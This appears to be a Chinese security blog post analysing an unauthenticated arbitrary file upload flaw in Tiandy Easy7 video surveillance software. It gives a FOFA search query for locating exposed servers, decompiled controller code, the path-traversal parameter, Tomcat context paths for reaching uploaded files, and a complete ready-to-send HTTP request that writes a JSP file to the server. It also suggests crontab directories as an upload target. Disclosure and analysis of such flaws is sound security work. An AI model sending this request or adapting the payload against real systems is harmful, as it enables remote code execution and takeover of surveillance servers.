天地伟业Easy7 uploadCheckImg 文件上传漏洞


漏洞简介

天地伟业Easy7是一款用于视频监控管理的软件系统。

该系统的/Easy7/rest/file/uploadCheckImg接口存在前台的任意文件上传接口,可构造请求包,上传webshell文件并保存在任意路径,从而控制服务器。漏洞利用难度极低,可在未登录的状态下直接发送恶意请求包造成利用,可能被蠕虫、黑客组织批量利用。

影响版本

fofa语法

body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"

漏洞分析

首先,该系统基于Spring 3.0,比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验,因此绝大部分接口都是可以直接访问的。

再来看本次的漏洞接口 /Easy7/rest/file/uploadCheckImg 的对应方法uploadCheckImg()的实现逻辑

@Controller
@RequestMapping({"/file"})
public class CLS_REST_File {
    @Resource(
        name = "boSystemInfo"
    )
    private CLS_BO_SystemInfo boSystemInfo;
    @Resource(
        name = "boFile"
    )
    private CLS_BO_File boFile;
    @Resource(
        name = "boPROXY"
    )
    private CLS_BO_PROXY boPROXY;
    private static final Log log = LogFactory.getLog(CLS_REST_File.class);

    @RequestMapping({"/uploadCheckImg"})
    public void uploadCheckImg(HttpServletRequest request, HttpServletResponse response, CLS_VO_File voFile) throws Exception {
        CLS_VO_Result result = new CLS_VO_Result();
        PrintWriter out = response.getWriter();
        String fileName = voFile.getFileName();
        if (fileName == null) {
            fileName = UUID.randomUUID().toString();
            voFile.setFileName(fileName);
        }

        boolean isMultipart = ServletFileUpload.isMultipartContent(request);
        if (!isMultipart) {
            result.setRet(-7);
            out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
        } else {
            FileItemFactory factory = new DiskFileItemFactory();
            ServletFileUpload upload = new ServletFileUpload(factory);
            List<FileItem> items = null;

            try {
                items = upload.parseRequest(request);
            } catch (FileUploadException e) {
                result.setRet(-7);
                out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
                e.printStackTrace();
                return;
            }

            if (items == null) {
                result.setRet(-7);
                out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
            } else {
                File realFilePath = new File(CLS_Inquest_Type.PATHIMAGE + voFile.getUploadPicturePath());
                if (!realFilePath.exists() && !realFilePath.isDirectory()) {
                    realFilePath.mkdirs();
                }

                String newPath = "";
                Long size = null;

                for(FileItem fileItem : items) {
                    size = fileItem.getSize();
                    if (!fileItem.isFormField()) {
                        newPath = CLS_Inquest_Type.PATHIMAGE + voFile.getUploadPicturePath() + fileName;
                        File file = new File(newPath);

                        try {
                            fileItem.write(file);
                        } catch (Exception e) {
                            result.setRet(-7);
                            out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
                            e.printStackTrace();
                            return;
                        }
                    }
                }

                voFile.setFileSize(size);
                result.setRet(0);
                result.setContent(voFile);
                out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
            }
        }
    }

首先通过voFile.getFileName()控制写入文件名,其次是判断是不是文件上传(Content-Type是不是multipart/开头)

接下来就是commons.fileupload的基本操作

FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
try {
    items = upload.parseRequest(request);

关键的文件上传保存处理操作如下

for(FileItem fileItem : items) {
    size = fileItem.getSize();
    if (!fileItem.isFormField()) {
        newPath = CLS_Inquest_Type.PATHIMAGE + voFile.getUploadPicturePath() + fileName;
        File file = new File(newPath);

        try {
            fileItem.write(file);

其中CLS_Inquest_Type.PATHIMAGE为配置文件WEB-INF/classes/config.properties里固定的file_path_base_img值,一般为file_path_base_img=/root/srsPath/;

再结合用户可控的voFile.getUploadPicturePath()来拼接成最终保存文件的路径,因此整个利用链就非常清晰了,文件类型(后缀)可控,文件名可控,文件路径可控,基于这些就可以上传任意文件到任意目录了。

但是需要解决不同架构或者版本的tomcat版本不一致问题,我们通过阅读 tomcat 的 server.xml配置,其中有如下映射

<Context  path="/share" docBase="/root/srsPath"
          reloadable="true"
          workDir="/root/srsPath">
</Context>

<Context  path="/imagelive" docBase="/root/tiandy/data"
          reloadable="true"
          workDir="/root/tiandy/data">
</Context>

我们可以上传到这/root/srsPath和/root/tiandy/data两个文件夹,通过访问ip:port/share 或者 ip:port/imagelive 来访问我们上传的文件,从而达到命令执行的目的,或者在权限足够的时候,可以上传到crontab定时任务目录进行利用。

漏洞复现

POST /Easy7/rest/file/uploadCheckImg?fileName=x.jsp&uploadPicturePath=%2F..%2F..%2Froot%2FsrsPath%2F HTTP/1.1
Host: easy7.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary--

访问 /share/x.jsp 成功执行代码并删除自身


手机扫码阅读

天地伟业Easy7 uploadMapServerBgImage 文件上传漏洞

天地伟业Easy7 downloadNote 文件读取漏洞

评 论
avatar
小鸣
hxxps://mp.weixin.qq.com/s/oJm4lCZTQ3iNWLXbmfL2WQ  转你文章
5 个月前 回复
avatar
Mrxn
@小鸣:管不了 各凭素质
5 个月前 回复